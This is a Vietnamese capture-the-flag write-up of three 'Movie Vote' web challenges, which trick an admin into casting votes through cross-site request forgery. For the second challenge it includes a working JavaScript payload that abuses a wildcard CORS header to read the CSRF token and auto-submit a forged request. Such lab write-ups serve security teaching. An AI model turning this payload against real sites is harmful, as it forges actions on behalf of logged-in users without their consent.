Web - Movie Vote (1,2,3)

Write-up Movie Vote (1 + 2 + 3) - Web

  • Difficulty: Easy - Easy - Easy

Description

3 challenges này đều xoay quanh Client Side Request Forgery(CSRF). Chúng ta được đưa 1 trang web với chức năng chính là vote up hoặc down cho từng bộ phim. Để có được flag thì cần lừa admin vote cho Flag

Movie Vote 1

  • API khi vote cho 1 bộ phim nào đó : /vote/{1-8}/{up,down}
  • Trang web có chức năng gửi tin nhắn cho admin ở /chat
    => Gửi cho admin 1 link nào đó để xem admin có bấm vào ko ??

    => Giả thuyết đúng. Gửi cho admin link http://localhost:1337/vote/8/up

Movie Vote 2

  • Khác với phần 1, dev đã thêm csrf token để chống CSRF /vote/{1-8}/{up,down}?csrf_token=?
  • Để ý kỹ response thì chúng ta sẽ thấy 1 header hơi lạ được thêm vào Access-Control-Allow-Origin: *. Header này là 1 phần của CORS(Cross-Origin Resource Sharing), nó cho phép hoặc hạn chế tài nguyên của 1 trang web được truy cập từ 1 origin khác, wildcard * có nghĩa là mọi trang web đều có thể truy cập.

=> Attack Flow: Sửa lại webhook để khi admin bấm vào thì sẽ tự fetch http://localhost:1337/ để lấy token => Dùng token đó để vote cho Flag.

<form action="http://localhost:1337/" method="GET">
  <input type="submit" value="submit">
</form>
<script>
const url = "http://localhost:1337/";
fetch(url)
  .then((response) => {
    if (!response.ok) {
      throw new Error(`HTTP error! status: ${response.status}`);
    }
    return response.text();
  })
  .then((html) => {
    const parser = new DOMParser();
    const doc = parser.parseFromString(html, "text/html");
    const aTags = doc.querySelectorAll("a");
    const link = aTags[15];
    if (link) {
      console.log(link, aTags.length)
      const href = link.getAttribute("href");
      document.forms[0].action = url + href.substring(1, href.length);
      console.log(document.forms[0].action);
      document.forms[0].submit()
    } else {
      console.log("No <a> tag with the class 'btn btn-success' found.");
    }
  })
  .catch((error) => {
    console.error("Error fetching the URL:", error);
  });
</script>

=> Chúng ta đã có flag:
flag2

Movie Vote 3

  • Bài này chỉ khác ở API vote, biến thành: /vote/1/up/dc4439dbb1fe1d309207a617cc6fd38feba5f2c927b22ec355ed213110418061
  • Mình sẽ để các bạn tự làm phần này :blush:
1 Like